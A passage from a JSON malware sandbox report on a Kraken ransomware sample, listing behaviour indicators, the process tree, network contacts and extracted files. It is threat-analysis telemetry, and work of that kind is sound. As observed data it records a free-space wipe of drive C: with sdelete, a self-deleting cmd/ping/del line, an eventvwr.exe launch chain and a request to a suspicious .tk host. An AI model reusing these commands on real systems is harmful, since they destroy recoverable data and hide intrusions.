\"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\"\n \"krakentemp0000.exe\" allocated memory in \"%USERPROFILE%\\OneDrive\"\n \"cmd.exe\" allocated memory in \"\\Device\\MountPointManager\"","origin":"API Call","mitre_attack_id":"T1055","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"$32","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$33","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"malicious","category":"Network Related","name":"Tries to identify its external IP address","description":"\"ipinfo.io\"","origin":"Network Traffic","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"Internal YARA signature matched on process \"564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd.exe\"\n Internal YARA signature matched on process \"krakentemp0000.exe\"\n Internal YARA signature matched on file \"all.bstring\"","origin":"YARA Signature","relevance":10,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"malicious","category":"Ransomware/Banking","name":"The analysis extracted a known ransomware file","description":"Found dropped filename \"# How to Decrypt Files-SY9Y7.html\" which has been seen in the context of ransomware (Indicator: how to decrypt files)","origin":"Binary File","relevance":5,"id":"binary-9","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"malicious","category":"System Security","name":"Tries to delete registry keys using reg.exe","description":"Process \"reg.exe\" with commandline \"REG ADD \"HKEY_CURRENT_USER\\Software\\Sysinternals\\SDelete\"\" (UID: 00048598-00002336)\n Process \"reg.exe\" with commandline \"REG ADD \"HKEY_CURRENT_USER\\Software\\Sysinternals\\SDelete\" /v EulaAccepted /t REG_DWORD /d 1 /f\" (UID: 00048611-00003548)","origin":"Monitored Target","mitre_attack_id":"T1107","relevance":5,"id":"target-24","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains native function calls","description":"NtFsControlFile@NTDLL.DLL at 00048629-00001384-9279-125-3F033F80","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-22","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$34","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]}],"incidents":[{"name":"Ransomware","details_count":1,"details":[{"detail":"Detected indicator that file is ransomware"}],"sources":[{"report_type":"sandbox","report_id":"5bb5f1777ca3e1567c4a1b8d"},{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"Fingerprint","details_count":7,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Found a dropped file containing the Windows username (possible fingerprint attempt)"},{"detail":"Tries to identify its external IP address"},{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the active computer name"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"Evasive","details_count":4,"details":[{"detail":"Tries to sleep for a long time (more than two minutes)"},{"detail":"Marks file for deletion"},{"detail":"Possibly tries to implement anti-virtualization techniques"},{"detail":"Checks network status using ping"}],"sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]}]},"activity":{"stats":{"process_count":11,"spawned_processes_count":11,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":10,"imported_dlls_count":115,"dropped_files_count":0,"extracted_files_count":38,"files_written_count":257,"files_deleted_count":0,"registry_keys_created_count":13,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":13,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":4,"dns_resolutions_count":3,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["ransomware","binder","bladabindi","coinhive","coinminer","coinstealer","crypt","crypter","downloader","filecoder","fynloski","genkryptik","iobit","kraken ransomware","kryptik","lightaidra","miner","njrat","rat","stealer","krakenrat"],"sample_flags":["Network Traffic","TOR analysis","Multi-Process","Extracted Files"],"sandbox_reports":[{"id":"5bd9c6ac7ca3e1660a4db445","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.MSIL","contacted_countries":["USA"],"submit_name":"564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd.exe","analysis_start_time":"2019-03-28T05:56:06+00:00","indicators_count":{"informative":31,"suspicious":37,"malicious":20},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"5bb5f1777ca3e1567c4a1b8d","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"no specific threat","contacted_countries":["EU"],"submit_name":"2018-10-04_19-37-40.exe","analysis_start_time":"2018-10-04T05:55:27+00:00","indicators_count":{"informative":4,"suspicious":4,"malicious":0},"tags":["Network Traffic","TOR analysis"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"2.19.56.218","port":80,"protocol":"TCP","country":"European Union","sources":[{"report_type":"sandbox","report_id":"5bb5f1777ca3e1567c4a1b8d"}]},{"address":"216.239.38.21","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"address":"104.28.12.103","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"address":"152.199.4.33","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]}],"dns_resolutions":[{"domain":"blasze.tk","address":"104.28.12.103","ttl":299,"country":"United States","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"domain":"download.sysinternals.com","address":"152.199.4.33","ttl":3402,"country":"United States","registrar_name":"CSC CORPORATE DOMAINS, INC.","registrar_organization":"Microsoft Corporation","registrar_name_servers":"NS1-04.AZURE-DNS.COM","registrar_creation_date":"1998-04-12T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"domain":"ipinfo.io","address":"216.239.38.21","ttl":123,"country":"United States","registrar_name":"http://www.nic.ac/go/whois/ipinfo.ac","registrar_name_servers":"ns-595.awsdns-10.net","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]}],"http_requests":[{"host":"blasze.tk","host_ip":"104.28.12.103:80","url":"/CN18R3","method":"GET","header":"GET /CN18R3 HTTP/1.1\nUser-Agent: US-160:StartU\nHost: blasze.tk\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}],"processes":[{"pid":2612,"ppid":0,"name":"564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd.exe","command_line":"","sha256":"564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd","normalized_path":"C:\\564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd.exe","uid":"00039638-00002612","icon":"$35"},{"pid":2060,"ppid":2612,"name":"eventvwr.exe","command_line":"","sha256":"3e9ded429f4e6c09f30ab7fc03a419a20dce2d85dfddc2beb97cee93cc0f3f7c","normalized_path":"%WINDIR%\\System32\\eventvwr.exe","parent_uid":"00039638-00002612","uid":"00040012-00002060"},{"pid":3972,"ppid":2060,"name":"krakentemp0000.exe","command_line":"","sha256":"7e0ee0e707db426eaf25bd0924631db969bb03dd9b13addffbcc33311a3b9aa7","normalized_path":"%TEMP%\\krakentemp0000.exe","parent_uid":"00040012-00002060","uid":"00040041-00003972"},{"pid":3660,"ppid":3972,"name":"tasklist.exe","command_line":"\"tasklist\" /V /FO CSV","sha256":"ad3e811249da750d80f2762c3aeb403780c1b69d05911e3c9950a7daed9e6670","normalized_path":"%WINDIR%\\SysWOW64\\tasklist.exe","parent_uid":"00040041-00003972","uid":"00045645-00003660"},{"pid":3904,"ppid":3972,"name":"cmd.exe","command_line":"/C cd %ALLUSERSPROFILE%\\ && release.bat","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00040041-00003972","uid":"00048584-00003904"},{"pid":2336,"ppid":3904,"name":"reg.exe","command_line":"REG ADD \"HKEY_CURRENT_USER\\Software\\Sysinternals\\SDelete\"","sha256":"36414c7e57afa6136d77fd47f4c55102e35f2475fbcd719728da7d14b1590e2a","normalized_path":"%WINDIR%\\SysWOW64\\reg.exe","parent_uid":"00048584-00003904","uid":"00048598-00002336"},{"pid":3548,"ppid":3904,"name":"reg.exe","command_line":"REG ADD \"HKEY_CURRENT_USER\\Software\\Sysinternals\\SDelete\" /v EulaAccepted /t REG_DWORD /d 1 /f","sha256":"36414c7e57afa6136d77fd47f4c55102e35f2475fbcd719728da7d14b1590e2a","normalized_path":"%WINDIR%\\SysWOW64\\reg.exe","parent_uid":"00048584-00003904","uid":"00048611-00003548"},{"pid":280,"ppid":3904,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\sdelete.exe -c -z C:","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00048584-00003904","uid":"00048623-00000280"},{"pid":1384,"ppid":280,"name":"sdelete.exe","command_line":"-c -z C:","sha256":"feec1457836a5f84291215a2a003fcde674e7e422df8c4ed6fe5bb3b679cdc87","normalized_path":"%ALLUSERSPROFILE%\\sdelete.exe","parent_uid":"00048623-00000280","uid":"00048629-00001384"},{"pid":2636,"ppid":3972,"name":"cmd.exe","command_line":"/C ping 127.0.0.1 -n 3 > NUL&&del /Q /F /S \"%TEMP%\\krakentemp0000.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00040041-00003972","uid":"00048586-00002636"},{"pid":3956,"ppid":2636,"name":"PING.EXE","command_line":"ping 127.0.0.1 -n 3","sha256":"4ca10dba7ff487fdb3f1362a3681d7d929f5aa1262cdfd31b04c30826983fb1d","normalized_path":"%WINDIR%\\SysWOW64\\PING.EXE","parent_uid":"00048586-00002636","uid":"00048597-00003956"}],"all_imported_dlls":["KernelBase.dll","advapi32.dll","msvcrt.dll","sechost.dll","rpcrt4.dll","ntdll.dll","mscoree.dll","kernel32.dll","webio.dll","shlwapi.dll","winnsi.dll","srvcli.dll","msvcr80.dll","System.Xml.ni.dll","mswsock.dll","tzres.dll","winhttp.dll","apphelp.dll","ws2_32.dll","wbemsvc.dll","winbrand.dll","shfolder.dll","fastprox.dll","wbemcomn.dll","iertutil.dll","rpcss.dll","System.Drawing.ni.dll","security.dll","rasadhlp.dll","ole32.dll","secur32.dll","userenv.dll","dhcpcsvc.dll","winsta.dll","msctf.dll","oleaut32.dll","imm32.dll","lpk.dll","wininet.dll","wow64cpu.dll","ncrypt.dll","uxtheme.dll","cfgmgr32.dll","System.Windows.Forms.ni.dll","wtsapi32.dll","comctl32.dll","Culture.dll","shell32.dll","System.ni.dll","cryptsp.dll","RpcRtRemote.dll","wow64.dll","dhcpcsvc6.dll","psapi.dll","wkscli.dll","propsys.dll","normaliz.dll","netapi32.dll","mscorwks.dll","profapi.dll","wow64win.dll","WSHTCPIP.DLL","dnsapi.dll","mpr.dll","framedynos.dll","cryptbase.dll","dbghelp.dll","wmiutils.dll","usp10.dll","rsaenh.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","sspicli.dll","mscorjit.dll","FWPUCLNT.DLL","msasn1.dll","version.dll","crypt32.dll","setupapi.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","nsi.dll","ntdsapi.dll","gdi32.dll","mscoreei.dll","wship6.dll","credssp.dll","api-ms-win-downlevel-user32-l1-1-0.dll","IPHLPAPI.DLL","mscorrc.dll","VxSSL64.dll","System.Core.ni.dll","wbemprox.dll","rtutils.dll","schannel.dll","mscorlib.ni.dll","devobj.dll","System.Configuration.ni.dll","comdlg32.dll","user32.dll","ntmarta.dll","urlmon.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","rasman.dll","gpapi.dll","netutils.dll","clbcatq.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","ieframe.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","bcrypt.dll","Wldap32.dll","rasapi32.dll","bcryptprimitives.dll","api-ms-win-downlevel-version-l1-1-0.dll","msvcr100.dll","cscapi.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"krakentemp0000.exe","sha256":"7e0ee0e707db426eaf25bd0924631db969bb03dd9b13addffbcc33311a3b9aa7","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"sdelete64.exe","sha256":"feec1457836a5f84291215a2a003fcde674e7e422df8c4ed6fe5bb3b679cdc87","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"sdelete.exe","sha256":"746de8e02f1e64a707ce060a7d851b5d014698ca8692bd7aa945b40e06b01a07","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"release.bat","sha256":"61f7c88cb7863513eb62d6450297708dbb425ff5e55ed945cdaf25329bb50366","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"SDELTEMP","sha256":"7971f869259aee9bd631bba70e10a49cf66fea3ac7fd16126a064111f87da460","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"HAPUBWS.contact","sha256":"321aa814f776a6b3e21d91cbabf9e08e17807da7148c2b7e1dbafa418a39cf8c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"Database1.accdb","sha256":"3d6adabfe5f75a6d41efbd1948037b4b3451d2c3b96b7e7f219ee6117a59ab6b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"Outlook.pst","sha256":"d3c1e988e46365b7de87449114e327b8aee7a7359c163a0dfe95fd90a09d8568","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"0MTtHojL.rar","sha256":"b94e55b6c8f61d7f2610030b3bdbd66b3b7834746329401ab98f7d1a7e52ae95","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"0vAOzfx2r.mp3","sha256":"2904371adb13514b6d5bb435d15f429aa8bb4b09e196abd42e8fbf096f0a9b2d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"2MffCJz16PvEB.avi","sha256":"787d7fbcb7db3060bb02a6a698cc6dc229919eb9cd1d319123f5374530ebed3e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"2VEV49vrsTLgZa.doc","sha256":"5dbcefc030e93a5a11f4c5b2759d9179f362d463573d561896c35f809df5046c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"2w1w1py1F.txt","sha256":"4123d2150442e9c36b1c4d2871290762052fdbef23fe8c005f1caa59c12dee6e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"2zcZSXtZc.jpg","sha256":"a00ac71396f671ddb8b2f0c652881bf55acc6ed9943cbba8cef1fc30eea9e494","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"3LnBJn.doc","sha256":"29ba9e45b6550e37f409411c247f5c30233cdce5d4fb8dbbac59a6d30c60676d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"3OleWh3.rar","sha256":"10cf8410fe8aaa322366fbe36e91258e652e2868ead910c2019c09708e1ffd16","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"3dGXIt7I2ITpav.jpg","sha256":"c36f5725ae9ddca27b57d0c8ee77dcbf4e7e68835fb79bf14d71bff246351738","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"4E0qAxNiq7QCMAH.txt","sha256":"25d7170ad1d58fa2df15452e4c8b7e4a3a2c2f040f696df24837e6270d30d749","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"4JMQP51xRP4ubhP.pdf","sha256":"df15e39d5db59148ebb026add27b152ea63013d60feb3d94d3a881ba175faf81","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"5F7TBCLUxJG.doc","sha256":"f7239fc1765ba077043f0b9cc2ef95c25046223ddedfdab045996ac15c86d91d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"5JQ5LUD.pdf","sha256":"aa95bf9d9b1d36a451783fa81cf1336ea40388299a7b8786432c275449045894","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"5lvtAMvrhoXfL.pdf","sha256":"de713a407cf41636184196690d1dccd882db680e75ea8c0f4e232ab769abbd5b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"Ae5I9Tp.doc","sha256":"ecace3f31e52c233bff630dd2a515e218a7d227ea84f0c09646bc0e16c5d8057","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"CZspj.doc","sha256":"afd69e6182c8acec0f6b72a05fabbe3453e91a420c55ad338e688b4c8b469b0c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"DKwpgw.doc","sha256":"ca7f08d2a4389797c8146a3e4766d5193f2701dc432e7543828e21ee6332119d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"GgHlzQR.doc","sha256":"721e062dfc2b154b0c0a3b213f2e6979ffb764cb134a5bb7c8db837f5771ab3d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"HoJQ.doc","sha256":"1e6ba9e81c07a0fa732880c72fe61e3dd04b279aa28180027d199f79c8e76b1c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"MXf3Y8G12MNbrM.doc","sha256":"e750e4ffbfb0862ae05c41550fb881d81d3a4f9e1ad3d9ee6fbcdfc7d1772a74","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"OpKgf.doc","sha256":"88beb8266be47a7c2ee5fd5212f5f69e9c913011531b5bf857216e5f07d15e6e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"bMTL7.doc","sha256":"1cdd570328868547789cd8d0902dcc0b19f7a7d8cbfed5b0d3b43c98a12d9acf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"gtcmotdmF.doc","sha256":"877a523be37610559eee518043cd592d3197a7215bae1184a2f703dd7a673380","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"j8Sa.doc","sha256":"a2dae4248ebc84bef40414c52494679018e9a4cf0f823d9445fc28cf682bbc58","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"m3I6.doc","sha256":"220318a1a9e1be06af9fa64cf3c0f17615d3bc0b6a8a21456451d146f2844883","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"pJ5LdT.doc","sha256":"77da6e694833e7a0035d23ac514f5dc57e143498873e4c98ae82ee48b9c7b521","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"piLMujsJtKhePpUk.doc","sha256":"f291a0386fe96ac92789d1483cb079487ef659b2126fe0d23d153c4b76db7f6f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"sFbzgHs1K3qLZF41.doc","sha256":"ca9357d08dd4396363fd7cae9aa49f32dbdcdf1aab17183e7a25d7892ef31859","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"tpnUorm2s9.doc","sha256":"4cc6a4deec700f37ab028d09fe239b881a7277eeeda58251a73967bc8e899462","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"xHkhUwrp.doc","sha256":"088e375925303d899d11d7d17e30e71583fa8887bfe26d1b9b5a56775e8bf61d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]}],"files_written":[{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"C:\\564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd.exe.config","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\machine.config","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\security.config","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\enterprisesec.config","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\enterprisesec.config.cch","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\64bit\\security.config","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\64bit\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\index351.dat","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\System32\\l_intl.nls","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorrc.dll","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\System32","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\System32\\eventvwr.exe","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\System32\\en-US\\eventvwr.exe.mui","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\System32\\eventvwr.msc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000019.db","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%TEMP%\\krakentemp0000.exe","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\machine.config","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config.cch","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\index2db.dat","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\SysWOW64\\l_intl.nls","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\assembly\\pubpol201.dat","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorrc.dll","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4d